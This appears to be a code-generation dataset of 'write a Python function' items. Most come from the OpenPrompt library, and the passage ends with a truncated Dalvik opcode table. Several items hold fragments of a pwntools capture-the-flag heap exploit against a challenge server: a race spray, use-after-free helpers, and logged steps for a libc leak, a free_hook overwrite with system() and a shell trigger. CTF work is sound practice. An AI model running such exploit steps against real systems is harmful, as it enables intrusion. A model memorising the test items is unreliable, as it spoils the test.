import logging import os import datetime logger = logging.getLogger() import logging def init_logger( log_file, log_file_level=logging.NOTSET, log_level=logging.INFO, ): if isinstance(log_file_level, str): log_file_level = getattr(logging, log_file_level) if isinstance(log_level, str): log_level = getattr(logging, log_level) log_format = logging.Formatter("[\033[032m%(asctime)s\033[0m %(levelname)s] %(module)s.%(funcName)s %(message)s") logger = logging.getLogger() logger.setLevel(log_level) console_handler = logging.StreamHandler() console_handler.setFormatter(log_format) logger.handlers = [console_handler] if log_file and log_file != '': file_handler = logging.FileHandler(log_file) file_handler.setLevel(log_file_level) file_handler.setFormatter(log_format) logger.addHandler(file_handler) return logger
null
17,357
from yacs.config import CfgNode from openprompt.data_utils import FewShotSampler from torch.utils.data.dataset import Dataset from transformers.data.processors.utils import InputExample from openprompt.pipeline_base import PromptDataLoader, PromptModel, PromptForClassification from typing import * import torch from tqdm import tqdm class PromptDataLoader(object): r""" PromptDataLoader wraps the original dataset. The input data is firstly wrapped with the prompt's template, and then is tokenized by a wrapperd-tokenizer. Args: dataset (:obj:`Dataset` or :obj:`List`): Either a DatasetObject or a list containing the input examples. template (:obj:`Template`): A derived class of :obj:`Template` tokenizer (:obj:`PretrainedTokenizer`): The pretrained tokenizer. tokenizer_wrapper_class (:cls:`TokenizerWrapper`): The class of tokenizer wrapper. max_seq_length (:obj:`int`, optional): The max sequence length of the input ids. It's used to truncate sentences. batch_size (:obj:`int`, optional): The batch_size of data loader teacher_forcing (:obj:`bool`, optional): Whether to fill the mask with target text. Set to true in training generation model. decoder_max_length (:obj:`int`, optional): the decoder maximum length of an encoder-decoder model. predict_eos_token (:obj:`bool`, optional): Whether to predict the <eos> token. Suggest to set to true in generation. truncate_method (:obj:`bool`, optional): the truncate method to use. select from `head`, `tail`, `balanced`. kwargs :Other kwargs that might be passed into a tokenizer wrapper. """ def __init__(self, dataset: Union[Dataset, List], template: Template, tokenizer_wrapper: Optional[TokenizerWrapper] = None, tokenizer: PreTrainedTokenizer = None, tokenizer_wrapper_class = None, verbalizer: Optional[Verbalizer] = None, max_seq_length: Optional[str] = 512, batch_size: Optional[int] = 1, shuffle: Optional[bool] = False, teacher_forcing: Optional[bool] = False, decoder_max_length: Optional[int] = -1, predict_eos_token: Optional[bool] = False, truncate_method: Optional[str] = "tail", drop_last: Optional[bool] = False, **kwargs, ): assert hasattr(dataset, "__iter__"), f"The dataset must have __iter__ method. dataset is {dataset}" assert hasattr(dataset, "__len__"), f"The dataset must have __len__ method. dataset is {dataset}" self.raw_dataset = dataset self.wrapped_dataset = [] self.tensor_dataset = [] self.template = template self.verbalizer = verbalizer self.batch_size = batch_size self.shuffle = shuffle self.teacher_forcing = teacher_forcing if tokenizer_wrapper is None: if tokenizer_wrapper_class is None: raise RuntimeError("Either wrapped_tokenizer or tokenizer_wrapper_class should be specified.") if tokenizer is None: raise RuntimeError("No tokenizer specified to instantiate tokenizer_wrapper.") tokenizer_wrapper_init_keys = signature(tokenizer_wrapper_class.__init__).args prepare_kwargs = { "max_seq_length" : max_seq_length, "truncate_method" : truncate_method, "decoder_max_length" : decoder_max_length, "predict_eos_token" : predict_eos_token, "tokenizer" : tokenizer, **kwargs, } to_pass_kwargs = {key: prepare_kwargs[key] for key in prepare_kwargs if key in tokenizer_wrapper_init_keys} self.tokenizer_wrapper = tokenizer_wrapper_class(**to_pass_kwargs) else: self.tokenizer_wrapper = tokenizer_wrapper # check the satisfiability of each component assert hasattr(self.template, 'wrap_one_example'), "Your prompt has no function variable \ named wrap_one_example" # process self.wrap() self.tokenize() if self.shuffle: sampler = RandomSampler(self.tensor_dataset) else: sampler = None self.dataloader = DataLoader( self.tensor_dataset, batch_size = self.batch_size, sampler= sampler, collate_fn = InputFeatures.collate_fct, drop_last = drop_last, ) def wrap(self): r"""A simple interface to pass the examples to prompt, and wrap the text with template. """ if isinstance(self.raw_dataset, Dataset) or isinstance(self.raw_dataset, List): assert len(self.raw_dataset) > 0, 'The dataset to be wrapped is empty.' # for idx, example in tqdm(enumerate(self.raw_dataset),desc='Wrapping'): for idx, example in enumerate(self.raw_dataset): if self.verbalizer is not None and hasattr(self.verbalizer, 'wrap_one_example'): # some verbalizer may also process the example. example = self.verbalizer.wrap_one_example(example) wrapped_example = self.template.wrap_one_example(example) self.wrapped_dataset.append(wrapped_example) else: raise NotImplementedError def tokenize(self) -> None: r"""Pass the wrapped text into a prompt-specialized tokenizer, the true PretrainedTokenizer inside the tokenizer is flexible, e.g. AlBert, Bert, T5,... """ for idx, wrapped_example in tqdm(enumerate(self.wrapped_dataset),desc='tokenizing'): # for idx, wrapped_example in enumerate(self.wrapped_dataset): inputfeatures = InputFeatures(**self.tokenizer_wrapper.tokenize_one_example(wrapped_example, self.teacher_forcing), **wrapped_example[1]).to_tensor() self.tensor_dataset.append(inputfeatures) def __len__(self): return len(self.dataloader) def __iter__(self,): return self.dataloader.__iter__() class PromptForClassification(nn.Module): r'''``PromptModel`` with a classification head on top. The classification head will map the logits in all position of the sequence (return value of a ``PromptModel``) into the logits of the labels, using a verbalizer. Args: plm (:obj:`PretrainedModel`): A pre-traiend model you decide to use for classification, e.g. BERT. template (:obj:`Template`): A ``Template`` object you use to wrap the input text for classification, e.g. ``ManualTemplate``. verbalizer (:obj:`Verbalizer`): A ``Verbalizer`` object you use to project the labels to label words for classification, e.g. ``ManualVerbalizer``. freeze_plm (:obj:`bool`): whether or not to freeze the pretrained language model plm_eval_mode (:obj:`bool`): this is a stronger freezing mode than freeze_plm, i.e. the dropout of the model is turned off. No matter whether the other part is set to train. ''' def __init__(self, plm: PreTrainedModel, template: Template, verbalizer: Verbalizer, freeze_plm: bool = False, plm_eval_mode: bool=False ): super().__init__() self.prompt_model = PromptModel(plm, template, freeze_plm, plm_eval_mode) self.verbalizer = verbalizer def plm(self): return self.prompt_model.plm def template(self): return self.prompt_model.template def device(self,): r"""Register the device parameter.""" return self.plm.device def extract_at_mask(self, outputs: torch.Tensor, batch: Union[Dict, InputFeatures]): r"""Get outputs at all <mask> token E.g., project the logits of shape (``batch_size``, ``max_seq_length``, ``vocab_size``) into logits of shape (if num_mask_token > 1) (``batch_size``, ``num_mask_token``, ``vocab_size``) or into logits of shape (if ``num_mask_token`` = 1) (``batch_size``, ``vocab_size``). Args: outputs (:obj:`torch.Tensor`): The original outputs (maybe process by verbalizer's `gather_outputs` before) etc. of the whole sequence. batch (:obj:`Union[Dict, InputFeatures]`): The original batch Returns: :obj:`torch.Tensor`: The extracted outputs of ``<mask>`` tokens. """ outputs = outputs[torch.where(batch['loss_ids']>0)] outputs = outputs.view(batch['loss_ids'].shape[0], -1, outputs.shape[1]) if outputs.shape[1] == 1: outputs = outputs.view(outputs.shape[0], outputs.shape[2]) return outputs def forward(self, batch: Union[Dict, InputFeatures]) -> torch.Tensor: r""" Get the logits of label words. Args: batch (:obj:`Union[Dict, InputFeatures]`): The original batch Returns: :obj:`torch.Tensor`: The logits of the label words (obtained by the current verbalizer). """ outputs = self.prompt_model(batch) outputs = self.verbalizer.gather_outputs(outputs) if isinstance(outputs, tuple): outputs_at_mask = [self.extract_at_mask(output, batch) for output in outputs] else: outputs_at_mask = self.extract_at_mask(outputs, batch) label_words_logits = self.verbalizer.process_outputs(outputs_at_mask, batch=batch) return label_words_logits def predict(self): pass def forward_without_verbalize(self, batch: Union[Dict, InputFeatures]) -> torch.Tensor: outputs = self.prompt_model(batch) outputs = self.verbalizer.gather_outputs(outputs) outputs_at_mask = self.extract_at_mask(outputs, batch) return outputs_at_mask def tokenizer(self): r'''Utility property, to get the tokenizer more easily. ''' return self.verbalizer.tokenizer ## We comment this code since it conflict with [OpenDelta](https://github.com/thunlp/OpenDelta) # def state_dict(self, *args, **kwargs): # """ Save the model using template, plm and verbalizer's save methods.""" # _state_dict = {} # if not self.prompt_model.freeze_plm: # _state_dict['plm'] = self.plm.state_dict(*args, **kwargs) # _state_dict['template'] = self.template.state_dict(*args, **kwargs) # _state_dict['verbalizer'] = self.verbalizer.state_dict(*args, **kwargs) # return _state_dict # def load_state_dict(self, state_dict, *args, **kwargs): # """ Load the model using template, plm and verbalizer's load methods.""" # if 'plm' in state_dict and not self.prompt_model.freeze_plm: # self.plm.load_state_dict(state_dict['plm'], *args, **kwargs) # self.template.load_state_dict(state_dict['template'], *args, **kwargs) # self.verbalizer.load_state_dict(state_dict['verbalizer'], *args, **kwargs) def parallelize(self, device_map=None): r"""Parallelize the model across device """ if hasattr(self.plm, "parallelize"): self.plm.parallelize(device_map) self.device_map = self.plm.device_map self.template.cuda() self.verbalizer.cuda() else: raise NotImplementedError("parallelize method was not implemented for this plm.") def deparallelize(self): r"""Deparallelize the model across device """ if hasattr(self.plm, "deparallelize"): self.plm.deparallelize() self.device_map = None self.template.cpu() self.verbalizer.cpu() else: raise NotImplementedError("parallelize method was not implemented for this plm.") The provided code snippet includes necessary dependencies for implementing the `calibrate` function. Write a Python function `def calibrate(prompt_model: PromptForClassification, dataloader: PromptDataLoader) -> torch.Tensor` to solve the following problem: r"""Calibrate. See `Paper <https://arxiv.org/abs/2108.02035>`_ Args: prompt_model (:obj:`PromptForClassification`): the PromptForClassification model. dataloader (:obj:`List`): the dataloader to conduct the calibrate, could be a virtual one, i.e. contain an only-template example. Return: (:obj:`torch.Tensor`) A tensor of shape (vocabsize) or (mask_num, vocabsize), the logits calculated for each word in the vocabulary Here is the function: def calibrate(prompt_model: PromptForClassification, dataloader: PromptDataLoader) -> torch.Tensor: r"""Calibrate. See `Paper <https://arxiv.org/abs/2108.02035>`_ Args: prompt_model (:obj:`PromptForClassification`): the PromptForClassification model. dataloader (:obj:`List`): the dataloader to conduct the calibrate, could be a virtual one, i.e. contain an only-template example. Return: (:obj:`torch.Tensor`) A tensor of shape (vocabsize) or (mask_num, vocabsize), the logits calculated for each word in the vocabulary """ all_logits = [] prompt_model.eval() for batch in tqdm(dataloader,desc='ContextCali'): batch = batch.to(prompt_model.device) logits = prompt_model.forward_without_verbalize(batch) all_logits.append(logits.detach()) all_logits = torch.cat(all_logits, dim=0) return all_logits.mean(dim=0)
r"""Calibrate. See `Paper <https://arxiv.org/abs/2108.02035>`_ Args: prompt_model (:obj:`PromptForClassification`): the PromptForClassification model. dataloader (:obj:`List`): the dataloader to conduct the calibrate, could be a virtual one, i.e. contain an only-template example. Return: (:obj:`torch.Tensor`) A tensor of shape (vocabsize) or (mask_num, vocabsize), the logits calculated for each word in the vocabulary
17,358
import torch from openprompt.utils.logging import logger logger = logging.getLogger() The provided code snippet includes necessary dependencies for implementing the `model_to_device` function. Write a Python function `def model_to_device(model, config)` to solve the following problem: r""" model: the model to be wrapped config: the environment subconfig. Here is the function: def model_to_device(model, config): r""" model: the model to be wrapped config: the environment subconfig. """ import os if "CUDA_VISIBLE_DEVICES" not in os.environ and config.cuda_visible_devices is not None: os.environ["CUDA_VISIBLE_DEVICES"] = ",".join([str(i) for i in config.cuda_visible_devices]) if config.model_parallel: # currently not support dataparallel and model parallel simultaneously. if hasattr(model, "parallelize"): if config.device_map is None: model.parallelize() else: model.parallelize(config.device_map) logger.info("Using model parallel, spread across device map: {}".format(model.device_map)) return model else: raise RuntimeError("The model doesn't has parallelize method.") if config.num_gpus>1: local_rank_device = "cuda:{}".format(config.local_rank) model = model.to(local_rank_device) model = torch.nn.parallel.DataParallel(model, output_device=local_rank_device) logger.info("Using DataParallel") elif config.num_gpus>0: model = model.cuda() logger.info("Using cuda of single gpu") else: logger.info("Using cpu") return model
r""" model: the model to be wrapped config: the environment subconfig.
17,359
from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score from typing import * from openprompt.utils.logging import logger def loose_micro(labels, preds, id2label, label_path_sep): if id2label is None: raise ValueError("no id2label dict provided, cannot calculate loose_micro_f1 !") labels = [label_path(id2label[i], label_path_sep) for i in labels] preds = [label_path(id2label[i], label_path_sep) for i in preds] cnt_pred = 0 cnt_label = 0 cnt_correct = 0 for label, pred in zip(labels, preds): label = set(label) pred = set(pred) cnt_pred += len(pred) cnt_label += len(label) cnt_correct += len(label.intersection(pred)) p = cnt_correct/cnt_pred r = cnt_correct/cnt_label f = f1(p, r) return {'precision': p, 'recall': r, 'f1': f} def loose_macro(labels, preds, id2label, label_path_sep): if id2label is None: raise ValueError("no id2label dict provided, cannot calculate loose_micro_f1 !") labels = [label_path(id2label[i], label_path_sep) for i in labels] preds = [label_path(id2label[i], label_path_sep) for i in preds] p = 0. r = 0. for label, pred in zip(labels, preds): label = set(label) pred = set(pred) if len(pred) > 0: p += len(label.intersection(pred))/len(pred) if len(label) > 0: r += len(label.intersection(pred))/len(label) p /= len(labels) r /= len(labels) f = f1(p, r) return {'precision': p, 'recall': r, 'f1': f} The provided code snippet includes necessary dependencies for implementing the `classification_metrics` function. Write a Python function `def classification_metrics(preds: Sequence[int], labels: Sequence[int], metric: Optional[str] = "micro-f1", id2label: Optional[Dict] = None, label_path_sep: Optional[str] = '-', ) -> float` to solve the following problem: evaluation metrics for classification task. Args: preds (Sequence[int]): predicted label ids for each examples labels (Sequence[int]): gold label ids for each examples metric (str, optional): type of evaluation function, support 'micro-f1', 'macro-f1', 'accuracy', 'precision', 'recall'. Defaults to "micro-f1". Returns: score (float): evaluation score Here is the function: def classification_metrics(preds: Sequence[int], labels: Sequence[int], metric: Optional[str] = "micro-f1", id2label: Optional[Dict] = None, label_path_sep: Optional[str] = '-', ) -> float: """evaluation metrics for classification task. Args: preds (Sequence[int]): predicted label ids for each examples labels (Sequence[int]): gold label ids for each examples metric (str, optional): type of evaluation function, support 'micro-f1', 'macro-f1', 'accuracy', 'precision', 'recall'. Defaults to "micro-f1". Returns: score (float): evaluation score """ if metric == "micro-f1": score = f1_score(labels, preds, average='micro') elif metric == "macro-f1": score = f1_score(labels, preds, average='macro') elif metric == "accuracy": score = accuracy_score(labels, preds) elif metric == "precision": score = precision_score(labels, preds) elif metric == "recall": score = recall_score(labels, preds) # only hierarchical label loose metric is supported TODO naive multilabel ? elif metric == 'loose-micro-f1': score = loose_micro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['f1'] elif metric == 'loose-macro-f1': score = loose_macro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['f1'] elif metric == 'loose-micro-precision': score = loose_micro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['precision'] elif metric == 'loose-macro-precision': score = loose_macro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['precision'] elif metric == 'loose-micro-recall': score = loose_micro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['recall'] elif metric == 'loose-macro-recall': score = loose_macro(labels, preds, id2label=id2label, label_path_sep=label_path_sep)['recall'] else: raise ValueError("'{}' is not a valid evaluation type".format(metric)) return score
evaluation metrics for classification task. Args: preds (Sequence[int]): predicted label ids for each examples labels (Sequence[int]): gold label ids for each examples metric (str, optional): type of evaluation function, support 'micro-f1', 'macro-f1', 'accuracy', 'precision', 'recall'. Defaults to "micro-f1". Returns: score (float): evaluation score
17,360
from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score from typing import * from openprompt.utils.logging import logger logger = logging.getLogger() The provided code snippet includes necessary dependencies for implementing the `generation_metric` function. Write a Python function `def generation_metric(hypos, refs, metric: Optional[str] = "sentence_bleu")` to solve the following problem: r"""Some basic metric function for generation. However, many generation tasks has their own evaluation bash scripts. Args: hypos (:obj:`str`) : the generated sentence. refs (:obj:`list(str)`) : the referenced (ground-truth) sentence. metric (:obj:`str`, `optional`) : the type of metric option Returns: score (float): evaluate score Here is the function: def generation_metric(hypos, refs, metric: Optional[str] = "sentence_bleu"): r"""Some basic metric function for generation. However, many generation tasks has their own evaluation bash scripts. Args: hypos (:obj:`str`) : the generated sentence. refs (:obj:`list(str)`) : the referenced (ground-truth) sentence. metric (:obj:`str`, `optional`) : the type of metric option Returns: score (float): evaluate score """ if metric == "sentence_bleu": # a simple criterion to visualize the performance, not rigorous. import nltk try: nltk_path = str(nltk.data.find("tokenizers/punkt")) logger.info(f"using nltk from: {nltk_path}") except LookupError: nltk.download('punkt') from nltk.translate.bleu_score import sentence_bleu from nltk.tokenize import word_tokenize from nltk.translate.bleu_score import SmoothingFunction smoothie = SmoothingFunction().method4 # a function for smooth scores = [] for ref, hypo in zip(refs, hypos): tokenized_rs = [] ref = ref.split("\n") for r in ref: tokenized_rs.append(word_tokenize(r)) hypo = word_tokenize(hypo) try: sc = sentence_bleu(tokenized_rs, hypo, smoothing_function=smoothie) except ValueError: # TODO ZeroDivisionError logger.warning("math domain error in bleu, set to 0.0. generated sentence: {}".format(hypo)) sc = 0.0 scores.append(sc) score = sum(scores)/len(scores) return score else: raise ValueError("'{}' is not a valid metric type.".format(metric))
r"""Some basic metric function for generation. However, many generation tasks has their own evaluation bash scripts. Args: hypos (:obj:`str`) : the generated sentence. refs (:obj:`list(str)`) : the referenced (ground-truth) sentence. metric (:obj:`str`, `optional`) : the type of metric option Returns: score (float): evaluate score
17,361
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) print('Generating payload') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print() p.interactive() def do_pow(): p.recvuntil("PoW: Give me x where sha256('") nonce = p.recvn(15) p.recvline() print(nonce) solver = process('./pow') solver.sendline(nonce) solution = solver.recvall() print(solution) p.sendline(solution)
null
17,362
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) RACE_SIZE = 40000 n_results = RACE_SIZE print('Generating payload') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print(',', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print('.', end='') print() p.interactive() def examine_results(): global p time.sleep(1.0) try: p.sendline(b'3') x = p.recvuntil(b'results:\n') except EOFError: print('EOFError, remote probably crashed') p = remote('54.164.45.235', 1337) return [] n_results = int(re.search(rb'(\d+) results:', x).group(1)) # print('%d results' % n_results) shid = p.recvuntil(b'Choose a result: #') shid = shid.split(b'\n') assert len(shid) == RACE_SIZE+1 shid = shid[:-1] results = [None]*RACE_SIZE for i, l in enumerate(shid): l = l[1:].rstrip().split(b': ') assert int(l[0]) == i results[i] = l[1] # return to mainmenu p.sendline(b'0') p.recvline() p.sendline(b'1') p.recvline() p.recvline() p.recvline() return results
null
17,363
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) n_results = RACE_SIZE p.interactive() def alloc(value): time.sleep(0.1) global n_results p.sendline(b'1') p.sendline(b'1') p.sendline(value) p.sendline(b'2') p.recvuntil(b' results\n') n_results += 1 return n_results-1
null
17,364
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) p.interactive() def free(i): time.sleep(0.1) p.sendline(b'3') p.sendline(b'%d' % i) p.recvuntil(b'Choose a result: #') p.sendline(b'2') # p.recvuntil(b'Result deleted')
null
17,365
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) p.interactive() def read_back(i): time.sleep(0.1) p.sendline(b'3') p.sendline(b'%d' % i) p.recvuntil(b'Choose a result: #') p.sendline(b'1') p.recvuntil(b'Input: ') value = p.recvuntil(b'\n')[:-1] # print('Read back:', repr(value)) return value
null
17,366
import os import sys import time from pwn import * p = remote('out-of-order.chal.perfect.blue', 1337) RACE_SIZE = 40000 race_payload = b''.join(b'%d\n' % i for i in range(RACE_SIZE)) log.info('Overlapped chunks: results %d and %d' % (uaf_one, uaf_two)) log.info('Free uaf 1') log.info('Free shield') log.info('Leak: ' + hex(leak)) log.info('libc_base = ' + hex(libc_base)) log.info('system() = ' + hex(system)) log.info('free_hook = ' + hex(free_hook)) log.info('Heap chunk leak: ' + hex(heap_leak)) log.info('Fill tcache... ') log.info('Lets go!') log.info('Freed UAF2') log.info('Drain tcache...') log.success('tcache drained') log.info('Overwrite fastbin fd...') log.info('Overwrite free_hook') log.info('Trigger shell!') p.interactive() def spray(): log.info('Sending race payload') p.send(b'1\n%d\n' % RACE_SIZE) p.send(race_payload) # print('Racing done') p.sendline(b'2')
null
17,367
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 